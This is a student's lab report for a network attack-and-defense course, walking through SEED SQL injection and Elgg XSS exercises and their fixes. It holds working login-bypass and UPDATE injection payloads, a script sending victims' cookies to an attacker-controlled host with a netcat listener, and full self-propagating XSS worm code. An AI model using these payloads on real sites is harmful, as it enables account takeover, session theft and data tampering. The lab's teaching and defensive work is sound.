20211902 毕鑫杰 2021-2022-2 《网络攻防实践》第十二周作业

 

 

一、知识梳理

 

Web 应用体系结构

应用程序有两种模式:C/SB/S

C/S 是客户端/服务器端程序,也就是说这类程序一般独立运行。而 B/S 就是浏览器端/服务器端应用程序,这类应用程序一般借助浏览器来运行。WEB 应用程序一般是 B/S 模式。Web 应用程序首先是“应用程序”,和用标准的程序语言,如 C、C++ 等编写出来的程序没有什么本质上的不同。然而 Web 应用程序又有自己独特的地方,就是它是基于 Web 的,而不是采用传统方法运行的。换句话说,它是典型的浏览器/服务器架构的产物。

一个 Web 应用程序是由完成特定任务的各种 Web 组件(web components)构成的并通过 Web 将服务展示给外界。在实际应用中,We b应用程序是由多个 Servlet、JSP 页面、HTML 文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。

Web 应用安全威胁

  • 针对浏览器和终端用户的 Web 浏览安全威胁;

  • 针对传输网络的网络协议安全威胁;

  • 系统层安全威胁;

  • Web 服务器软件安全威胁;

  • Web 应用程序安全威胁;

  • Web 数据安全威胁。

攻击 Web 服务器软件

Web 服务器软件作为 Web 应用的承载体,也成为攻击者对 Web 应用实施攻击的首要目标之一。

针对 Web 服务器软件包的渗透攻击仍然存在,Web 服务器平台中的安全漏洞主要分为如下几大类。

  • 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在 Web 服务器上直接获得远程代码执行的权力,并以相当高的权限执行任意命令。

  • 服务器功能扩展模块漏洞:Web 服务器软件通过一些功能扩展模块来为核心的 HTTP 引擎增加其他的功能,启动包括动态代码执行(如微软的 ASP)、站点检索(如 IIS 的索引服务)、Web 分布式写作与版本管理协议 WebDAV、SSL 加密协议等。这些扩展模块往往较 Web 服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。

  • 样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web 服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对 Web 服务器实施攻击。

  • 源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施 Web 服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。

  • 资源解析攻击:Web 服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些 Web 服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。

攻击 Web 数据内容

Web 站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露、网站内容遭受篡改,以及不良信息内容上传。

  • 安全敏感数据泄露;

  • 网站篡改;

  • 不良信息内容上传。

Web 应用安全防范措施

  • Web 站点网络传输安全设防措施:尽量使用 HTTPS 协议来保障 Web 站点传输时的保密性、完整性与身份真实性;通过加密的连接通道来管理 Web 站点,避免使用未经加密的 telnet、FTP、HTTP 来进行 Web 后台管理,而使用 SSH、SFTP 等安全协议;对关键的 Web 服务器,设置静态绑定 MAC-IP 映射,在服务网段内进行 ARP 等各类欺骗攻击的检测与 MAC 封禁机制。

  • Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的橾作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。

  • Web 应用程序安全设防措施:应该认识到采用动态内容、支持用户输入的 Web 应用程序较静态 HTML 具有更高的安全风险;对于必须提供用户交互、采用动态页而的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的 Web 应用软件包;只在必要时候自主或外包开发 Web 应用程序;使用 Web 服务器软件提供的日志功能,对 Web 应用程序的所有访问请求进行日志记录与安全审计。

  • Web 站点数据安全设防措施:提商网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护。

SQL 注入

代码注入是针对 Web 应用程序的上流攻击技术之一,代码注入根据攻击目标的不同又分为:

  • 恶意读取、修改与操纵数据库的 SQL 注入攻击;
  • 在 Web 服务器端安装、执行 Webshell 等恶意脚本的 PHP 注入或 ASP 注入攻击;
  • 在 Web 服务器端恶意执行操作系统命令的 Shell 注入攻击;
  • 其他多种多样的注入攻击,如 LDAP 注入、邮件命令注入、空字节注入、SSI 注入、XPath 注入、XML 注入、XQuery 注入等。

SQL 注入(SQLi)是一种注入攻击,可以执行恶意 SQL 语句。它通过将任意 SQL 代码插入数据库查询,使攻击者能够完全控制 Web 应用程序后面的数据库服务器。攻击者可以使用 SQL 注入漏洞绕过应用程序安全措施;可以绕过网页或 Web 应用程序的身份验证和授权,并检索整个 SQL 数据库的内容;还可以使用 SQL 注入来添加,修改和删除数据库中的记录。

SQL 注入漏洞可能会影响使用 SQL 数据库(如 MySQL,Oracle,SQL Server 或其他)的任何网站或 Web 应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL 注入攻击是最古老,最流行,最危险的 Web 应用程序漏洞之一。

SQL 注入攻击防范措施

  1. 使用类型安全(type-safe)的参数编码机制;
  2. 凡是来自外部的用户输入,必须进行完备检查;
  3. 将动态 SQL 语句替换为存储过程、预编译 SQL 或 ADO 命令对象;
  4. 加强 SQL 数据库服务器的配置与连接。

XSS 攻击技术原理

与代码注入类似,XSS 攻击的根源同样是 Web 应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的 Web 论坛、博客、留言本及其他允许用户交互的 Web 应用程序中,用户提交内容中可以包含 HTML、JavaScript 及其他脚本代码,而一旦 Web 应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。

而与代码注入不同的是,XSS 攻击的最终攻击目标并非 Web 服务器,Web 服务器上的应用程序在 XSS 攻击场景中发挥的角色是“帮凶”,而非“受害者”,真正的“受害者”则是访问这些 Web 服务器的其他用户。

 

二、实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

 

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。

  • 窃取受害者的cookies:将cookie发送给攻击者。

  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 编写XSS蠕虫。

  • 对抗XSS攻击。

三、实践过程

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务。

1.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

使用指令 mysql -u root -pseedubuntu 登陆MySql数据库, -u 指定用户名, -p 指定密码;

 

 

 

 使用指令 use Users; , show tables; 查看该数据库下面的表:

 

 

 

 

 

 使用指令 select * from credential ;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息:

 

 

 

 

对 SELECT 语句的SQL注入攻击

要求:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

打开网站 www.SEEDLabSQLInjection.com ,随机输入用户名和密码,通过开发者工具,可以看到进行校验的是 unsafe_home.php 。

 

 

 

使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验

 

 

 

 

 在终端使用命令 vim /var/www/SQLInjection/unsafe_home.php 查看对应的代码,发现该web应用的数据库用户为 root ,密码为 seedubuntu :

 

 

 

 

 进行登录认证时,区分 admin 用户及 其他用户。用户信息表为 credential :

 

 

 

 

 

 

 

 

登录时候的SQL查询语句:

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’

如果输入的 username 字段为 Admin'# , Password 字段为任意值。通过上述代码组合sql语句就可以得到如下的sql查询语句:

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'#’ and Password=’$hashed_pwd’

其中, # 在sql语句中代表注释,也就是并没有对密码进行判断。

成功进入系统,看到了所有的用户信息。

 

 

 

 

 

 

 

 

 

对UPDATE语句的SQL注入攻击

要求:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

首先找到UPDATE语句,这部分的内容在 unsafe_edit_backend.php 中。执行命令 vim /var/www/SQLInjection/unsafe_edit_backend.php。

这个UPDATE语句可以看到员工只能修改基本的信息,无权修改工资,这条UPDATE语句也没有进行任何的保护如权限等,那我们的攻击就是修改salary。

 

 

 

 

 使用相同的方法登录 Alice 。登陆成功后,可以看到 salary 为 20000 ,点击 edit profile 修改信息:

 

 

 

 

已知update时正确的处理语句为:

UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id

在 NickName 那里输入语句 ', salary='1000 where Name='Alice'; #,则可以把update语句改为 UPDATE credential SET nickname='',salary='1000' where Name='Alice'; , # 后面的语句被注释了。这个时候点击 save 可以看到已经修改成功,证明攻击成功。

 

 

 

 

 

 

 

 

 在不知道其他人密码的情况下修改其资料。修改其他人的工资也可以在Alice修改的界面的nickname输入 ', salary='20211902' where name='Boby';# ,进入Boby的界面,发现工资已经成功修改。

 

 

 

 

 

 

 

 

 

 

 

修改其他用户的密码,因为密码在数据库中是以sha1的形式存储的,使用指令 echo -n '123'|sha1sum 输出密码123的sha1值为 40bd001563085fc35165329ea1ff5c5ecbdbbeef : 

 

 

 

 

继续在Alice的账户登录进行操作,在edit profile的NickName那里填写: ', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#

然后登陆Boby的账户,发现修改的123密码可以正常登录。

 

 

 

 

 

 

 

SQL对抗

修复上述SQL注入攻击漏洞SQL注入漏洞的根本问题是无法将代码与数

预处理语句在编译之后执行步骤之前出现。预处理语句将经过编译步骤,并转换为带有空数据占位符的预编译查询。要运行此预编译查询,需要提供数据,但这些数据不会通过编译步骤;相反,它们直接插入到预编译的查询中,并发送到执行引擎。因此,即使数据中有SQL代码,在不经过编译步骤的情况下,代码也将被简单地视为数据的一部分,没有任何特殊意义。这就是预处理语句防止SQL注入攻击的方式。

首先我们修改在unsafe_home.php中的sql语句为预处理语句,即将:

$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; $result = $conn -> query($sql);

 修改为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $stmt->fetch();

使用预处理语句机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即没有实际数据的SQL语句。这是准备步骤。从上面的代码片段中我们可以看到,实际数据被问号(?)替换。在这一步之后,我们使用bind param()将数据发送到数据库。数据库将只将此步骤中发送的所有内容视为数据,而不再视为代码。它将数据绑定到准备好的语句的相应问号。在bind param()方法中,第一个参数“is”表示参数的类型:“i”表示 $id 中的数据具有整数类型,“s”表示 $pwd 中的数据具有字符串类型。

 

 

一、SEED XSS攻击实验

  • 准备 HTTP Header Live 工具:在firefox的 add-on 中搜索 HTTP Header Live ——> install

  • 访问 www.xsslabelgg.com 查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:

1.发布恶意消息,显示警报窗口:

在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

 首先利用alice的账户 alice 和密码 seedalice 登录,

 

 

 

 

 

 

 

 在 Brief description 中插入XSS攻击代码 <script> alert('xss');</script> ,用于显示一个警告窗口:

 

 

 

 点击Save后就能看到弹窗如下图所示:

 

 

 

 使用另一个用户(Boby)登录并查看Alice的profile,步骤:Boby登录,密码seedboby。more—>members—>Alice,则会看到如下警告窗口,攻击成功。

 

 

 

 

 

 

2.弹窗显示cookie信息

将cookie信息显示。

在Alice的个人页面的 Brief description 中插入XSS攻击代码 <script> alert(document.cookie);</script> :

 

 

 用Boby查看Alice的profile,得到的弹窗

 

 

 

3.窃取受害者的cookies

将cookie发送给攻击者

  • 该任务中攻击者希望JavaScript代码将cookie发送给自己。
  • 首先要将上文获得的cookie放入一个特殊构建的请求,向攻击者服务器发送这个请求。可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
  • 嵌入的Javascript代码,其中本机 192.168.200.5 充当攻击者,JavaScript将cookies发送到攻击者机器的 5788 端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容:

<script>document.write('<img src=http://192.168.200.5:5788?c=' + escape(document.cookie) + ' >');
</script>

 

 

 

攻击者执行 nc -l 5788 -v 命令,监听 5788 端口。其中 -l 指定端口, -v 显示详细信息当用户访问Alice profile时,打印出当前用户的cookies。

这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息

 

 

 

4.成为受害者的朋友

使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

 

首先点击 Add Friend ,判断该web是如何发送HTTP请求的,点击web Developer中的Toggle tools:

 

 

 

 

 

此处让Boby自动添加Alice为好友,由上图可知Alice的id,为44:

 

 

在Alice的about me中( edit HTML模式 )添加Javascript代码如下:

 

<script type="text/javascript">
	window.onload = function () {
    var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	
	
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
} 
</script>

 

 

以Boby的身份登录,访问Alice的主页,则会自动添加好友。

 

 

 

 

5.修改受害者的信息

此任务的目标是在受害者访问 Alice 页面时修改受害者的配置文件。我们将编写一个XSS蠕虫来完成任务。此蠕虫不会自我传播;在任务6中将使其自我传播

 

首先要用 开发者工具查看edit修改资料时,查看发送的指令:

 

 

 

 

 

 

 

 

 

结合指导书上所给的代码,可以编写出如下程序,首先获取了访问者的 &__elgg_token= 、 __elgg_ts 、 &__name=elgg.session.user.name 和页面的其他信息。接下来按照上文的分析构建了请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST, 并设置请求头和其他信息,通过send函数发送请求。程序中的判断语句的作用是判断是否是 Alice 请求的,如果是则不作修改。

 

将下文代码同样放在Alice的about me中,保存后退出

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>

  

 

 

 使用 Boby 账号登录,访问Alice的profile,即可成功修改boby的profile。

 

 

 

 

6.编写XSS蠕虫

指导书中介绍了两种方法,一种是链接的方法,另一种是调用 DOM API 的方法。这里使用第二种方法。首先我们开始编写代码,结合上一个任务的代码就可以编写出一个蠕虫病毒,在Alice的About me中编写代码如下

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

使用 Boby 登录,并访问 Alice 的主页,发现被感染:

 

 

 

 

 

退出 Boby,使用 Samy 访问 Boby,则 Samy 被感染,蠕虫攻击成功

 

 

 

 

 

7.对抗XSS攻击

Elgg本身已经提供对抗XSS攻击的插件,可以利用管理员账户进行登录,找到 Account -> administration -> plugins ,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

还有一种方式是在代码中调用 htmlspecialchars() 方法,主要是对特殊字符进行编码,也可以防范XSS攻击问题。

 

 

 

 

四、学习中遇到的问题及解决

 问题:实验任务有需要写JavaScript,之前没有接触过

解决方法:参考学长博客。

问题:Ubuntu不能与Windows共用剪贴板

解决方法:将需要复制粘贴的内容在Ubuntu中应用打开。或参考https://blog.csdn.net/qq_27361727/article/details/91464450,实现vmtools安装。

 

  

五、学习感想和体会 

web开发已在当今互联网行业、当今生活中成为主流的应用技术,虽然对其攻击技术层出不跌,但真实业务环境中已有了很成熟的对抗 Web 攻击的体系框架,现在较为热门的前后端开发框架已经具备了足够的安全性。在实践学习中,应更应该注重对攻击过程的理解,明白其中原理,继而为今后对 Web 框架安全进行更深入理解打下基础。

posted @ 2022-05-22 22:12  再来人  阅读(110)  评论(0编辑  收藏  举报